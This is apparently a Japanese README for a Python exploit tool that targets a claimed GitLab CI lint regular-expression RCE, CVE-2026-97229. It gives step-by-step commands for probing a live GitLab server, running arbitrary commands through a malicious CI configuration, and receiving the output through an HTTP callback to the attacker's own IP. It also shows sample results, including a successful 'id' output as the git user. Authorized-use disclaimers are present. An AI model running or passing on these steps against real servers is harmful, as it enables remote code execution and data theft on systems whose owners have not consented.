
CVE-2026-97229(GitLab CI lint の正規表現による RCE)の Python エクスプロイト。プロジェクトを作成し、悪意のある CI 設定をプッシュし、lint エンドポイントをトリガーして、HTTP コールバック経由でコマンド出力を取得します。
CVE-2026-97229 は、GitLab CI lint の正規表現 RCE に対する外部エクスプロイトです。これは許可を得た実際の GitLab ターゲットに対してのみ使用されます。プロジェクトを作成し、悪意のある CI 設定をプッシュし、CI lint エンドポイントをトリガーし、HTTP コールバックを通じてコマンド出力を受け取ります。これは許可されたセキュリティ研究専用です。
CVE-2026-97229 External - 自己責任で使用し、合法的なテストにのみ使用してください
##研究用途専用。 自身のシステム、または書面による許可を得たシステムに対してのみ使用してください。
このツールは実際の GitLab ターゲット専用です。 停止したターゲット、バックアップ、または到達不能なホストでは動作しません。
要件
ファイルの保存
エクスプロイトコードを次の名前で保存します:
cve97229_ext.py
スコープファイルの作成
ターゲットが次の場合:
https://gitlab.example.local
scope.txt を作成します:
echo "gitlab.example.local" > scope.txt
ステップ 1 - ターゲットの確認
実行:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "GITLAB_TOKEN"
例:
python3 cve97229_ext.py --url https://gitlab.example.local --probe-only --token "glpat-AbCdEf1234567890"
良好な結果:
"gitlab_signal": true
バージョンが表示される場合は、次のように表示されることがあります:
"version": "19.4.0"
ステップ 2 - 実際のターゲットに対して実行
実行:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "GITLAB_TOKEN" --callback-host YOUR_IP --callback-port 8000 --command "id"
例:
python3 cve97229_ext.py --url https://gitlab.example.local --scope scope.txt --authorized --token "glpat-AbCdEf1234567890" --callback-host 192.168.1.50 --callback-port 8000 --command "id"
置き換え:
GITLAB_TOKEN = あなたの GitLab トークン
YOUR_IP = ターゲットから到達可能なあなたのマシンの IP
結果
成功した場合、次のように表示されます:
"status": "RCE"
および次のような出力:
"output": "uid=998(git) gid=998(git) groups=998(git)"
よくある問題
out-of-scope:
scope.txt を修正してください。
no-write-path:
トークンが欠落しているか無効です。
known-patched:
ターゲットのバージョンは修正済みです。
no-callback:
ターゲットがあなたに接続できませんでした。
YOUR_IP、ファイアウォール、ネットワークアクセスを確認してください。
重要
ターゲットは稼働中で到達可能である必要があります。